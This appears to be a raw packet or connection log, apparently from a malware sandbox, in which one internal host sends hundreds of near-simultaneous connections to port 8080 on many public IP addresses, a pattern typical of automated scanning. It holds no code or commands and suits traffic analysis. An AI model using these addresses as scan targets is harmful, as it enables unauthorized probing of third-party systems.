Oct 29, 2024 20:52:39.299387932 CET	56351	8080	192.168.2.13	31.64.7.141
Oct 29, 2024 20:52:39.299398899 CET	56351	8080	192.168.2.13	31.138.83.11
Oct 29, 2024 20:52:39.299398899 CET	56351	8080	192.168.2.13	95.59.4.43
Oct 29, 2024 20:52:39.299411058 CET	56351	8080	192.168.2.13	62.75.199.215
Oct 29, 2024 20:52:39.299417973 CET	56351	8080	192.168.2.13	31.174.130.24
Oct 29, 2024 20:52:39.299417973 CET	56351	8080	192.168.2.13	95.163.114.35
Oct 29, 2024 20:52:39.299422979 CET	56351	8080	192.168.2.13	85.45.186.149
Oct 29, 2024 20:52:39.299426079 CET	56351	8080	192.168.2.13	31.240.96.0
Oct 29, 2024 20:52:39.299428940 CET	56351	8080	192.168.2.13	94.85.144.199
Oct 29, 2024 20:52:39.299428940 CET	56351	8080	192.168.2.13	85.127.51.226
Oct 29, 2024 20:52:39.299448967 CET	56351	8080	192.168.2.13	95.88.57.72
Oct 29, 2024 20:52:39.299451113 CET	56351	8080	192.168.2.13	85.125.146.170
Oct 29, 2024 20:52:39.299452066 CET	56351	8080	192.168.2.13	62.250.71.24
Oct 29, 2024 20:52:39.299452066 CET	56351	8080	192.168.2.13	62.46.210.111
Oct 29, 2024 20:52:39.299465895 CET	56351	8080	192.168.2.13	95.75.151.216
Oct 29, 2024 20:52:39.299467087 CET	56351	8080	192.168.2.13	94.144.207.233
Oct 29, 2024 20:52:39.299467087 CET	56351	8080	192.168.2.13	85.171.30.218
Oct 29, 2024 20:52:39.299484015 CET	56351	8080	192.168.2.13	95.57.99.13
Oct 29, 2024 20:52:39.299484015 CET	56351	8080	192.168.2.13	94.188.74.166
Oct 29, 2024 20:52:39.299487114 CET	56351	8080	192.168.2.13	31.105.33.136
Oct 29, 2024 20:52:39.299487114 CET	56351	8080	192.168.2.13	95.205.247.34
Oct 29, 2024 20:52:39.299494028 CET	56351	8080	192.168.2.13	94.66.64.231
Oct 29, 2024 20:52:39.299501896 CET	56351	8080	192.168.2.13	62.70.116.40
Oct 29, 2024 20:52:39.299513102 CET	56351	8080	192.168.2.13	31.243.38.47
Oct 29, 2024 20:52:39.299524069 CET	56351	8080	192.168.2.13	94.121.91.196
Oct 29, 2024 20:52:39.299525976 CET	56351	8080	192.168.2.13	94.119.43.162
Oct 29, 2024 20:52:39.299526930 CET	56351	8080	192.168.2.13	85.209.31.18
Oct 29, 2024 20:52:39.299526930 CET	56351	8080	192.168.2.13	31.173.170.87
Oct 29, 2024 20:52:39.299526930 CET	56351	8080	192.168.2.13	85.56.219.169
Oct 29, 2024 20:52:39.299537897 CET	56351	8080	192.168.2.13	95.5.141.72
Oct 29, 2024 20:52:39.299551010 CET	56351	8080	192.168.2.13	85.167.173.215
Oct 29, 2024 20:52:39.299567938 CET	56351	8080	192.168.2.13	62.16.102.79
Oct 29, 2024 20:52:39.299568892 CET	56351	8080	192.168.2.13	85.171.31.35
Oct 29, 2024 20:52:39.299570084 CET	56351	8080	192.168.2.13	94.138.21.27
Oct 29, 2024 20:52:39.299572945 CET	56351	8080	192.168.2.13	85.100.69.235
Oct 29, 2024 20:52:39.299572945 CET	56351	8080	192.168.2.13	94.100.240.211
Oct 29, 2024 20:52:39.299581051 CET	56351	8080	192.168.2.13	62.234.109.103
Oct 29, 2024 20:52:39.299587011 CET	56351	8080	192.168.2.13	85.116.69.192
Oct 29, 2024 20:52:39.299587011 CET	56351	8080	192.168.2.13	62.191.198.157
Oct 29, 2024 20:52:39.299609900 CET	56351	8080	192.168.2.13	62.192.29.152
Oct 29, 2024 20:52:39.299612045 CET	56351	8080	192.168.2.13	85.6.214.244
Oct 29, 2024 20:52:39.299623013 CET	56351	8080	192.168.2.13	94.128.72.80
Oct 29, 2024 20:52:39.299624920 CET	56351	8080	192.168.2.13	95.134.122.229
Oct 29, 2024 20:52:39.299624920 CET	56351	8080	192.168.2.13	31.60.15.72
Oct 29, 2024 20:52:39.299624920 CET	56351	8080	192.168.2.13	94.197.77.125
Oct 29, 2024 20:52:39.299624920 CET	56351	8080	192.168.2.13	85.125.161.194
Oct 29, 2024 20:52:39.299627066 CET	56351	8080	192.168.2.13	62.12.25.213
Oct 29, 2024 20:52:39.299633980 CET	56351	8080	192.168.2.13	85.105.210.233
Oct 29, 2024 20:52:39.299652100 CET	56351	8080	192.168.2.13	94.233.71.95
Oct 29, 2024 20:52:39.299655914 CET	56351	8080	192.168.2.13	31.214.37.3
Oct 29, 2024 20:52:39.299658060 CET	56351	8080	192.168.2.13	95.22.253.3
Oct 29, 2024 20:52:39.299660921 CET	56351	8080	192.168.2.13	95.189.178.123
Oct 29, 2024 20:52:39.299665928 CET	56351	8080	192.168.2.13	31.50.103.45
Oct 29, 2024 20:52:39.299669027 CET	56351	8080	192.168.2.13	95.203.86.221
Oct 29, 2024 20:52:39.299684048 CET	56351	8080	192.168.2.13	62.60.170.175
Oct 29, 2024 20:52:39.299685001 CET	56351	8080	192.168.2.13	94.193.127.25
Oct 29, 2024 20:52:39.299685001 CET	56351	8080	192.168.2.13	94.120.254.199
Oct 29, 2024 20:52:39.299685001 CET	56351	8080	192.168.2.13	62.216.202.198
Oct 29, 2024 20:52:39.299694061 CET	56351	8080	192.168.2.13	31.10.76.232
Oct 29, 2024 20:52:39.299706936 CET	56351	8080	192.168.2.13	85.167.10.18
Oct 29, 2024 20:52:39.299706936 CET	56351	8080	192.168.2.13	62.104.29.12
Oct 29, 2024 20:52:39.299706936 CET	56351	8080	192.168.2.13	95.114.229.83
Oct 29, 2024 20:52:39.299715996 CET	56351	8080	192.168.2.13	94.46.179.89
Oct 29, 2024 20:52:39.299725056 CET	56351	8080	192.168.2.13	95.172.96.122
Oct 29, 2024 20:52:39.299731016 CET	56351	8080	192.168.2.13	31.189.20.194
Oct 29, 2024 20:52:39.299741030 CET	56351	8080	192.168.2.13	62.173.223.175
Oct 29, 2024 20:52:39.299741030 CET	56351	8080	192.168.2.13	31.168.18.181
Oct 29, 2024 20:52:39.299741030 CET	56351	8080	192.168.2.13	94.129.102.113
Oct 29, 2024 20:52:39.299742937 CET	56351	8080	192.168.2.13	94.148.182.21
Oct 29, 2024 20:52:39.299742937 CET	56351	8080	192.168.2.13	85.237.203.37
Oct 29, 2024 20:52:39.299748898 CET	56351	8080	192.168.2.13	62.5.251.115
Oct 29, 2024 20:52:39.299748898 CET	56351	8080	192.168.2.13	94.25.142.170
Oct 29, 2024 20:52:39.299752951 CET	56351	8080	192.168.2.13	95.31.32.115
Oct 29, 2024 20:52:39.299753904 CET	56351	8080	192.168.2.13	85.137.22.12
Oct 29, 2024 20:52:39.299756050 CET	56351	8080	192.168.2.13	94.160.29.211
Oct 29, 2024 20:52:39.299782991 CET	56351	8080	192.168.2.13	95.93.37.146
Oct 29, 2024 20:52:39.299787045 CET	56351	8080	192.168.2.13	95.134.214.148
Oct 29, 2024 20:52:39.299792051 CET	56351	8080	192.168.2.13	85.35.73.76
Oct 29, 2024 20:52:39.299792051 CET	56351	8080	192.168.2.13	62.195.133.20
Oct 29, 2024 20:52:39.299793005 CET	56351	8080	192.168.2.13	85.179.190.45
Oct 29, 2024 20:52:39.299803019 CET	56351	8080	192.168.2.13	62.3.30.240
Oct 29, 2024 20:52:39.299803019 CET	56351	8080	192.168.2.13	31.107.30.10
Oct 29, 2024 20:52:39.299803019 CET	56351	8080	192.168.2.13	95.111.197.60
Oct 29, 2024 20:52:39.299809933 CET	56351	8080	192.168.2.13	85.140.229.27
Oct 29, 2024 20:52:39.299820900 CET	56351	8080	192.168.2.13	94.52.93.71
Oct 29, 2024 20:52:39.299822092 CET	56351	8080	192.168.2.13	31.37.85.37
Oct 29, 2024 20:52:39.299829006 CET	56351	8080	192.168.2.13	31.84.57.45
Oct 29, 2024 20:52:39.299829960 CET	56351	8080	192.168.2.13	31.14.8.7
Oct 29, 2024 20:52:39.299833059 CET	56351	8080	192.168.2.13	85.31.251.38
Oct 29, 2024 20:52:39.299846888 CET	56351	8080	192.168.2.13	85.18.146.140
Oct 29, 2024 20:52:39.299846888 CET	56351	8080	192.168.2.13	94.129.131.31
Oct 29, 2024 20:52:39.299848080 CET	56351	8080	192.168.2.13	62.54.22.132
Oct 29, 2024 20:52:39.299864054 CET	56351	8080	192.168.2.13	85.120.88.120
Oct 29, 2024 20:52:39.299875975 CET	56351	8080	192.168.2.13	62.152.18.214
Oct 29, 2024 20:52:39.299875975 CET	56351	8080	192.168.2.13	94.54.132.170
Oct 29, 2024 20:52:39.299875975 CET	56351	8080	192.168.2.13	31.82.56.122
Oct 29, 2024 20:52:39.299885988 CET	56351	8080	192.168.2.13	62.196.243.208
Oct 29, 2024 20:52:39.299895048 CET	56351	8080	192.168.2.13	62.44.96.183
Oct 29, 2024 20:52:39.299895048 CET	56351	8080	192.168.2.13	62.154.205.132
Oct 29, 2024 20:52:39.299896955 CET	56351	8080	192.168.2.13	85.75.15.46
Oct 29, 2024 20:52:39.299902916 CET	56351	8080	192.168.2.13	95.236.9.18
Oct 29, 2024 20:52:39.299912930 CET	56351	8080	192.168.2.13	31.11.43.56
Oct 29, 2024 20:52:39.299921989 CET	56351	8080	192.168.2.13	31.198.178.159
Oct 29, 2024 20:52:39.299923897 CET	56351	8080	192.168.2.13	62.68.175.209
Oct 29, 2024 20:52:39.299926043 CET	56351	8080	192.168.2.13	31.192.112.72
Oct 29, 2024 20:52:39.299932003 CET	56351	8080	192.168.2.13	62.58.7.230
Oct 29, 2024 20:52:39.299952984 CET	56351	8080	192.168.2.13	94.19.31.82
Oct 29, 2024 20:52:39.299952984 CET	56351	8080	192.168.2.13	62.169.81.180
Oct 29, 2024 20:52:39.299957037 CET	56351	8080	192.168.2.13	94.135.177.83
Oct 29, 2024 20:52:39.299957037 CET	56351	8080	192.168.2.13	95.70.9.243
Oct 29, 2024 20:52:39.299972057 CET	56351	8080	192.168.2.13	85.150.200.193
Oct 29, 2024 20:52:39.299973011 CET	56351	8080	192.168.2.13	85.27.155.134
Oct 29, 2024 20:52:39.299973965 CET	56351	8080	192.168.2.13	95.6.87.223
Oct 29, 2024 20:52:39.299981117 CET	56351	8080	192.168.2.13	95.69.147.87
Oct 29, 2024 20:52:39.299984932 CET	56351	8080	192.168.2.13	95.123.186.246
Oct 29, 2024 20:52:39.299984932 CET	56351	8080	192.168.2.13	31.37.255.223
Oct 29, 2024 20:52:39.299985886 CET	56351	8080	192.168.2.13	94.8.92.248
Oct 29, 2024 20:52:39.299988031 CET	56351	8080	192.168.2.13	31.223.137.199
Oct 29, 2024 20:52:39.299998045 CET	56351	8080	192.168.2.13	94.50.37.145
Oct 29, 2024 20:52:39.300005913 CET	56351	8080	192.168.2.13	62.102.70.116
Oct 29, 2024 20:52:39.300014019 CET	56351	8080	192.168.2.13	94.102.154.20
Oct 29, 2024 20:52:39.300024033 CET	56351	8080	192.168.2.13	94.146.54.168
Oct 29, 2024 20:52:39.300024033 CET	56351	8080	192.168.2.13	95.180.244.233
Oct 29, 2024 20:52:39.300026894 CET	56351	8080	192.168.2.13	62.193.236.54
Oct 29, 2024 20:52:39.300026894 CET	56351	8080	192.168.2.13	62.242.156.83
Oct 29, 2024 20:52:39.300031900 CET	56351	8080	192.168.2.13	31.23.170.253
Oct 29, 2024 20:52:39.300045967 CET	56351	8080	192.168.2.13	31.185.57.148
Oct 29, 2024 20:52:39.300048113 CET	56351	8080	192.168.2.13	95.184.200.248
Oct 29, 2024 20:52:39.300056934 CET	56351	8080	192.168.2.13	94.190.97.187
Oct 29, 2024 20:52:39.300059080 CET	56351	8080	192.168.2.13	94.116.149.222
Oct 29, 2024 20:52:39.300061941 CET	56351	8080	192.168.2.13	95.103.98.80
Oct 29, 2024 20:52:39.300065994 CET	56351	8080	192.168.2.13	85.247.249.33
Oct 29, 2024 20:52:39.300077915 CET	56351	8080	192.168.2.13	94.118.236.223
Oct 29, 2024 20:52:39.300077915 CET	56351	8080	192.168.2.13	85.235.143.126
Oct 29, 2024 20:52:39.300080061 CET	56351	8080	192.168.2.13	85.224.145.9
Oct 29, 2024 20:52:39.300090075 CET	56351	8080	192.168.2.13	95.27.239.137
Oct 29, 2024 20:52:39.300091028 CET	56351	8080	192.168.2.13	85.127.45.34
Oct 29, 2024 20:52:39.300092936 CET	56351	8080	192.168.2.13	95.78.71.40
Oct 29, 2024 20:52:39.300107002 CET	56351	8080	192.168.2.13	31.133.145.226
Oct 29, 2024 20:52:39.300124884 CET	56351	8080	192.168.2.13	85.211.228.22
Oct 29, 2024 20:52:39.300126076 CET	56351	8080	192.168.2.13	94.68.66.10
Oct 29, 2024 20:52:39.300128937 CET	56351	8080	192.168.2.13	95.28.190.77
Oct 29, 2024 20:52:39.300142050 CET	56351	8080	192.168.2.13	95.195.62.131
Oct 29, 2024 20:52:39.300143003 CET	56351	8080	192.168.2.13	62.19.126.213
Oct 29, 2024 20:52:39.300144911 CET	56351	8080	192.168.2.13	62.55.180.188
Oct 29, 2024 20:52:39.300144911 CET	56351	8080	192.168.2.13	95.20.7.149
Oct 29, 2024 20:52:39.300148964 CET	56351	8080	192.168.2.13	62.36.159.202
Oct 29, 2024 20:52:39.300162077 CET	56351	8080	192.168.2.13	94.116.173.85
Oct 29, 2024 20:52:39.300162077 CET	56351	8080	192.168.2.13	95.69.166.234
Oct 29, 2024 20:52:39.300179958 CET	56351	8080	192.168.2.13	95.151.147.254
Oct 29, 2024 20:52:39.300184965 CET	56351	8080	192.168.2.13	95.180.47.127
Oct 29, 2024 20:52:39.300184965 CET	56351	8080	192.168.2.13	85.157.150.179
Oct 29, 2024 20:52:39.300190926 CET	56351	8080	192.168.2.13	62.150.52.31
Oct 29, 2024 20:52:39.300200939 CET	56351	8080	192.168.2.13	31.117.138.132
Oct 29, 2024 20:52:39.300210953 CET	56351	8080	192.168.2.13	85.174.56.93
Oct 29, 2024 20:52:39.300211906 CET	56351	8080	192.168.2.13	85.242.12.11
Oct 29, 2024 20:52:39.300228119 CET	56351	8080	192.168.2.13	94.208.145.129
Oct 29, 2024 20:52:39.300228119 CET	56351	8080	192.168.2.13	62.86.144.0
Oct 29, 2024 20:52:39.300228119 CET	56351	8080	192.168.2.13	31.161.228.217
Oct 29, 2024 20:52:39.300228119 CET	56351	8080	192.168.2.13	85.29.28.48
Oct 29, 2024 20:52:39.300228119 CET	56351	8080	192.168.2.13	62.153.204.176
Oct 29, 2024 20:52:39.300235033 CET	56351	8080	192.168.2.13	31.36.94.94
Oct 29, 2024 20:52:39.300241947 CET	56351	8080	192.168.2.13	62.196.30.92
Oct 29, 2024 20:52:39.300250053 CET	56351	8080	192.168.2.13	95.58.181.115
Oct 29, 2024 20:52:39.300257921 CET	56351	8080	192.168.2.13	94.119.209.33
Oct 29, 2024 20:52:39.300257921 CET	56351	8080	192.168.2.13	31.43.10.142
Oct 29, 2024 20:52:39.300261021 CET	56351	8080	192.168.2.13	31.43.209.21
Oct 29, 2024 20:52:39.300262928 CET	56351	8080	192.168.2.13	62.124.186.182
Oct 29, 2024 20:52:39.300271988 CET	56351	8080	192.168.2.13	95.99.8.177
Oct 29, 2024 20:52:39.300280094 CET	56351	8080	192.168.2.13	85.48.23.160
Oct 29, 2024 20:52:39.300282955 CET	56351	8080	192.168.2.13	85.128.133.99
Oct 29, 2024 20:52:39.300287962 CET	56351	8080	192.168.2.13	94.211.210.45
Oct 29, 2024 20:52:39.300301075 CET	56351	8080	192.168.2.13	62.4.155.196
Oct 29, 2024 20:52:39.300301075 CET	56351	8080	192.168.2.13	95.50.129.153
Oct 29, 2024 20:52:39.300304890 CET	56351	8080	192.168.2.13	62.66.90.143
Oct 29, 2024 20:52:39.300304890 CET	56351	8080	192.168.2.13	62.57.0.241
Oct 29, 2024 20:52:39.300321102 CET	56351	8080	192.168.2.13	62.228.209.146
Oct 29, 2024 20:52:39.300321102 CET	56351	8080	192.168.2.13	85.43.219.248
Oct 29, 2024 20:52:39.300321102 CET	56351	8080	192.168.2.13	95.8.115.26
Oct 29, 2024 20:52:39.300331116 CET	56351	8080	192.168.2.13	31.80.8.29
Oct 29, 2024 20:52:39.300332069 CET	56351	8080	192.168.2.13	85.203.98.171
Oct 29, 2024 20:52:39.300339937 CET	56351	8080	192.168.2.13	31.59.85.27
Oct 29, 2024 20:52:39.300354004 CET	56351	8080	192.168.2.13	94.173.183.114
Oct 29, 2024 20:52:39.300354004 CET	56351	8080	192.168.2.13	94.25.104.30
Oct 29, 2024 20:52:39.300354004 CET	56351	8080	192.168.2.13	31.241.202.19
Oct 29, 2024 20:52:39.300357103 CET	56351	8080	192.168.2.13	85.171.169.168
Oct 29, 2024 20:52:39.300383091 CET	56351	8080	192.168.2.13	95.9.109.88
Oct 29, 2024 20:52:39.300383091 CET	56351	8080	192.168.2.13	31.69.15.181
Oct 29, 2024 20:52:39.300383091 CET	56351	8080	192.168.2.13	85.129.157.45
Oct 29, 2024 20:52:39.300384998 CET	56351	8080	192.168.2.13	85.232.62.70
Oct 29, 2024 20:52:39.300409079 CET	56351	8080	192.168.2.13	94.33.243.52
Oct 29, 2024 20:52:39.300409079 CET	56351	8080	192.168.2.13	85.154.122.123
Oct 29, 2024 20:52:39.300414085 CET	56351	8080	192.168.2.13	31.20.200.89
Oct 29, 2024 20:52:39.300415039 CET	56351	8080	192.168.2.13	31.129.219.185
Oct 29, 2024 20:52:39.300415039 CET	56351	8080	192.168.2.13	85.83.89.228
Oct 29, 2024 20:52:39.300415993 CET	56351	8080	192.168.2.13	94.73.108.133
Oct 29, 2024 20:52:39.300416946 CET	56351	8080	192.168.2.13	94.10.192.244
Oct 29, 2024 20:52:39.300416946 CET	56351	8080	192.168.2.13	94.169.106.45
Oct 29, 2024 20:52:39.300416946 CET	56351	8080	192.168.2.13	95.158.38.113
Oct 29, 2024 20:52:39.300419092 CET	56351	8080	192.168.2.13	95.69.203.11
Oct 29, 2024 20:52:39.300416946 CET	56351	8080	192.168.2.13	31.232.127.236
Oct 29, 2024 20:52:39.300419092 CET	56351	8080	192.168.2.13	31.160.0.207
Oct 29, 2024 20:52:39.300441027 CET	56351	8080	192.168.2.13	95.107.29.150
Oct 29, 2024 20:52:39.300448895 CET	56351	8080	192.168.2.13	85.49.160.94
Oct 29, 2024 20:52:39.300451994 CET	56351	8080	192.168.2.13	94.29.210.185
Oct 29, 2024 20:52:39.300451994 CET	56351	8080	192.168.2.13	62.143.246.10
Oct 29, 2024 20:52:39.300462961 CET	56351	8080	192.168.2.13	62.134.38.126
Oct 29, 2024 20:52:39.300462961 CET	56351	8080	192.168.2.13	94.189.158.215
Oct 29, 2024 20:52:39.300482988 CET	56351	8080	192.168.2.13	95.203.183.146
Oct 29, 2024 20:52:39.300482988 CET	56351	8080	192.168.2.13	31.60.155.190
Oct 29, 2024 20:52:39.300482988 CET	56351	8080	192.168.2.13	94.152.124.139
Oct 29, 2024 20:52:39.300482988 CET	56351	8080	192.168.2.13	94.45.206.26
Oct 29, 2024 20:52:39.300498962 CET	56351	8080	192.168.2.13	95.139.77.169
Oct 29, 2024 20:52:39.300499916 CET	56351	8080	192.168.2.13	31.137.98.176
Oct 29, 2024 20:52:39.300501108 CET	56351	8080	192.168.2.13	85.5.43.114
Oct 29, 2024 20:52:39.300508022 CET	56351	8080	192.168.2.13	94.121.147.254
Oct 29, 2024 20:52:39.300512075 CET	56351	8080	192.168.2.13	62.205.255.74
Oct 29, 2024 20:52:39.300524950 CET	56351	8080	192.168.2.13	62.247.108.17
Oct 29, 2024 20:52:39.300529957 CET	56351	8080	192.168.2.13	31.218.166.159
Oct 29, 2024 20:52:39.300535917 CET	56351	8080	192.168.2.13	94.218.88.20
Oct 29, 2024 20:52:39.300537109 CET	56351	8080	192.168.2.13	31.116.220.73
Oct 29, 2024 20:52:39.300549030 CET	56351	8080	192.168.2.13	95.254.164.2
Oct 29, 2024 20:52:39.300554037 CET	56351	8080	192.168.2.13	95.82.130.87
Oct 29, 2024 20:52:39.300554037 CET	56351	8080	192.168.2.13	85.145.69.88
Oct 29, 2024 20:52:39.300554991 CET	56351	8080	192.168.2.13	94.13.28.195
Oct 29, 2024 20:52:39.300573111 CET	56351	8080	192.168.2.13	31.6.101.200
Oct 29, 2024 20:52:39.300575018 CET	56351	8080	192.168.2.13	31.175.233.129
Oct 29, 2024 20:52:39.300575018 CET	56351	8080	192.168.2.13	95.95.119.25
Oct 29, 2024 20:52:39.300580978 CET	56351	8080	192.168.2.13	94.67.97.135
Oct 29, 2024 20:52:39.300586939 CET	56351	8080	192.168.2.13	62.50.202.16
Oct 29, 2024 20:52:39.300610065 CET	56351	8080	192.168.2.13	94.177.148.223
Oct 29, 2024 20:52:39.300611019 CET	56351	8080	192.168.2.13	95.181.3.181
Oct 29, 2024 20:52:39.300612926 CET	56351	8080	192.168.2.13	95.228.92.44
Oct 29, 2024 20:52:39.300616980 CET	56351	8080	192.168.2.13	62.30.135.32
Oct 29, 2024 20:52:39.300630093 CET	56351	8080	192.168.2.13	95.160.36.26
Oct 29, 2024 20:52:39.300631046 CET	56351	8080	192.168.2.13	31.41.2.248
Oct 29, 2024 20:52:39.300632954 CET	56351	8080	192.168.2.13	31.198.4.139
Oct 29, 2024 20:52:39.300632954 CET	56351	8080	192.168.2.13	62.237.16.251
Oct 29, 2024 20:52:39.300651073 CET	56351	8080	192.168.2.13	95.81.141.198
Oct 29, 2024 20:52:39.300651073 CET	56351	8080	192.168.2.13	94.184.74.49
Oct 29, 2024 20:52:39.300657988 CET	56351	8080	192.168.2.13	95.152.198.111
Oct 29, 2024 20:52:39.300657988 CET	56351	8080	192.168.2.13	31.149.222.128
Oct 29, 2024 20:52:39.300672054 CET	56351	8080	192.168.2.13	95.64.39.245
Oct 29, 2024 20:52:39.300682068 CET	56351	8080	192.168.2.13	95.255.218.84
Oct 29, 2024 20:52:39.300682068 CET	56351	8080	192.168.2.13	95.58.237.182
Oct 29, 2024 20:52:39.300682068 CET	56351	8080	192.168.2.13	94.67.40.44
Oct 29, 2024 20:52:39.300685883 CET	56351	8080	192.168.2.13	62.49.199.134
Oct 29, 2024 20:52:39.300705910 CET	56351	8080	192.168.2.13	95.175.225.45
Oct 29, 2024 20:52:39.300705910 CET	56351	8080	192.168.2.13	31.34.12.85
Oct 29, 2024 20:52:39.300708055 CET	56351	8080	192.168.2.13	95.212.132.57
Oct 29, 2024 20:52:39.300736904 CET	56351	8080	192.168.2.13	31.20.250.121
Oct 29, 2024 20:52:39.300745964 CET	56351	8080	192.168.2.13	62.93.163.16
Oct 29, 2024 20:52:39.300750017 CET	56351	8080	192.168.2.13	85.156.6.48
Oct 29, 2024 20:52:39.300750971 CET	56351	8080	192.168.2.13	95.207.169.96
Oct 29, 2024 20:52:39.300751925 CET	56351	8080	192.168.2.13	62.191.24.170
Oct 29, 2024 20:52:39.300759077 CET	56351	8080	192.168.2.13	31.46.250.78
Oct 29, 2024 20:52:39.300759077 CET	56351	8080	192.168.2.13	94.196.51.195
Oct 29, 2024 20:52:39.300759077 CET	56351	8080	192.168.2.13	95.138.98.69
Oct 29, 2024 20:52:39.300759077 CET	56351	8080	192.168.2.13	85.162.200.241
Oct 29, 2024 20:52:39.300759077 CET	56351	8080	192.168.2.13	85.85.63.91
Oct 29, 2024 20:52:39.300759077 CET	56351	8080	192.168.2.13	95.130.205.18
Oct 29, 2024 20:52:39.300759077 CET	56351	8080	192.168.2.13	85.214.252.58
Oct 29, 2024 20:52:39.300767899 CET	56351	8080	192.168.2.13	31.117.102.76
Oct 29, 2024 20:52:39.300770044 CET	56351	8080	192.168.2.13	85.60.243.134
Oct 29, 2024 20:52:39.300770998 CET	56351	8080	192.168.2.13	94.184.228.9
Oct 29, 2024 20:52:39.300771952 CET	56351	8080	192.168.2.13	31.117.130.250
Oct 29, 2024 20:52:39.300771952 CET	56351	8080	192.168.2.13	94.238.154.247
Oct 29, 2024 20:52:39.300790071 CET	56351	8080	192.168.2.13	62.105.34.247
Oct 29, 2024 20:52:39.300793886 CET	56351	8080	192.168.2.13	85.78.81.66
Oct 29, 2024 20:52:39.300793886 CET	56351	8080	192.168.2.13	85.162.60.43
Oct 29, 2024 20:52:39.300793886 CET	56351	8080	192.168.2.13	62.105.35.58
Oct 29, 2024 20:52:39.300796032 CET	56351	8080	192.168.2.13	31.82.172.251
Oct 29, 2024 20:52:39.300796986 CET	56351	8080	192.168.2.13	85.198.233.95
Oct 29, 2024 20:52:39.300812960 CET	56351	8080	192.168.2.13	62.13.246.150
Oct 29, 2024 20:52:39.300825119 CET	56351	8080	192.168.2.13	95.227.178.131
Oct 29, 2024 20:52:39.300825119 CET	56351	8080	192.168.2.13	62.112.14.87
Oct 29, 2024 20:52:39.300826073 CET	56351	8080	192.168.2.13	31.74.103.168
Oct 29, 2024 20:52:39.300843954 CET	56351	8080	192.168.2.13	95.69.60.254
Oct 29, 2024 20:52:39.300848961 CET	56351	8080	192.168.2.13	95.137.243.128
Oct 29, 2024 20:52:39.300853014 CET	56351	8080	192.168.2.13	95.162.0.69
Oct 29, 2024 20:52:39.300853968 CET	56351	8080	192.168.2.13	85.5.0.56
Oct 29, 2024 20:52:39.300858974 CET	56351	8080	192.168.2.13	31.247.75.93
Oct 29, 2024 20:52:39.300859928 CET	56351	8080	192.168.2.13	94.32.241.131
Oct 29, 2024 20:52:39.300859928 CET	56351	8080	192.168.2.13	85.19.185.86
Oct 29, 2024 20:52:39.300859928 CET	56351	8080	192.168.2.13	62.86.188.56
Oct 29, 2024 20:52:39.300874949 CET	56351	8080	192.168.2.13	62.13.183.202
Oct 29, 2024 20:52:39.300879002 CET	56351	8080	192.168.2.13	94.7.76.180
Oct 29, 2024 20:52:39.300884008 CET	56351	8080	192.168.2.13	94.133.239.44
Oct 29, 2024 20:52:39.300889969 CET	56351	8080	192.168.2.13	95.107.220.64
Oct 29, 2024 20:52:39.300898075 CET	56351	8080	192.168.2.13	94.26.134.12
Oct 29, 2024 20:52:39.300904989 CET	56351	8080	192.168.2.13	95.34.108.19
Oct 29, 2024 20:52:39.300908089 CET	56351	8080	192.168.2.13	94.155.213.142
Oct 29, 2024 20:52:39.300918102 CET	56351	8080	192.168.2.13	94.112.149.138
Oct 29, 2024 20:52:39.300924063 CET	56351	8080	192.168.2.13	31.50.96.209
Oct 29, 2024 20:52:39.300925016 CET	56351	8080	192.168.2.13	31.13.245.82
Oct 29, 2024 20:52:39.300929070 CET	56351	8080	192.168.2.13	31.197.152.62
Oct 29, 2024 20:52:39.300929070 CET	56351	8080	192.168.2.13	85.106.152.249
Oct 29, 2024 20:52:39.300936937 CET	56351	8080	192.168.2.13	31.41.97.137
Oct 29, 2024 20:52:39.300936937 CET	56351	8080	192.168.2.13	85.254.109.106
Oct 29, 2024 20:52:39.300954103 CET	56351	8080	192.168.2.13	95.246.80.238
Oct 29, 2024 20:52:39.300954103 CET	56351	8080	192.168.2.13	94.240.119.8
Oct 29, 2024 20:52:39.300956964 CET	56351	8080	192.168.2.13	85.150.249.201
Oct 29, 2024 20:52:39.300962925 CET	56351	8080	192.168.2.13	31.91.117.60
Oct 29, 2024 20:52:39.300976992 CET	56351	8080	192.168.2.13	95.11.10.21
Oct 29, 2024 20:52:39.300976992 CET	56351	8080	192.168.2.13	94.99.102.101
Oct 29, 2024 20:52:39.300990105 CET	56351	8080	192.168.2.13	62.233.162.118
Oct 29, 2024 20:52:39.300997019 CET	56351	8080	192.168.2.13	62.164.157.179
Oct 29, 2024 20:52:39.300997019 CET	56351	8080	192.168.2.13	94.73.79.81
Oct 29, 2024 20:52:39.300997972 CET	56351	8080	192.168.2.13	85.39.230.125
Oct 29, 2024 20:52:39.301012993 CET	56351	8080	192.168.2.13	31.231.57.242
Oct 29, 2024 20:52:39.301012993 CET	56351	8080	192.168.2.13	94.136.113.52
Oct 29, 2024 20:52:39.301013947 CET	56351	8080	192.168.2.13	95.174.194.131
Oct 29, 2024 20:52:39.301019907 CET	56351	8080	192.168.2.13	62.190.60.49
Oct 29, 2024 20:52:39.301019907 CET	56351	8080	192.168.2.13	95.111.148.226
Oct 29, 2024 20:52:39.301034927 CET	56351	8080	192.168.2.13	94.225.184.57
Oct 29, 2024 20:52:39.301037073 CET	56351	8080	192.168.2.13	85.111.129.210
Oct 29, 2024 20:52:39.301042080 CET	56351	8080	192.168.2.13	94.194.62.253
Oct 29, 2024 20:52:39.301055908 CET	56351	8080	192.168.2.13	31.208.66.110
Oct 29, 2024 20:52:39.301059008 CET	56351	8080	192.168.2.13	95.111.226.207
Oct 29, 2024 20:52:39.301068068 CET	56351	8080	192.168.2.13	95.159.142.121
Oct 29, 2024 20:52:39.301070929 CET	56351	8080	192.168.2.13	62.222.36.14
Oct 29, 2024 20:52:39.301086903 CET	56351	8080	192.168.2.13	85.43.45.150
Oct 29, 2024 20:52:39.301086903 CET	56351	8080	192.168.2.13	95.34.183.19
Oct 29, 2024 20:52:39.301086903 CET	56351	8080	192.168.2.13	94.120.250.229
Oct 29, 2024 20:52:39.301089048 CET	56351	8080	192.168.2.13	31.222.126.93
Oct 29, 2024 20:52:39.301089048 CET	56351	8080	192.168.2.13	62.69.68.223
Oct 29, 2024 20:52:39.301100016 CET	56351	8080	192.168.2.13	95.224.174.249
Oct 29, 2024 20:52:39.301115990 CET	56351	8080	192.168.2.13	62.137.231.32
Oct 29, 2024 20:52:39.301115990 CET	56351	8080	192.168.2.13	85.7.202.1
Oct 29, 2024 20:52:39.301119089 CET	56351	8080	192.168.2.13	95.117.215.79
Oct 29, 2024 20:52:39.301125050 CET	56351	8080	192.168.2.13	62.47.131.237
Oct 29, 2024 20:52:39.301130056 CET	56351	8080	192.168.2.13	62.132.107.9
Oct 29, 2024 20:52:39.301135063 CET	56351	8080	192.168.2.13	85.242.179.132
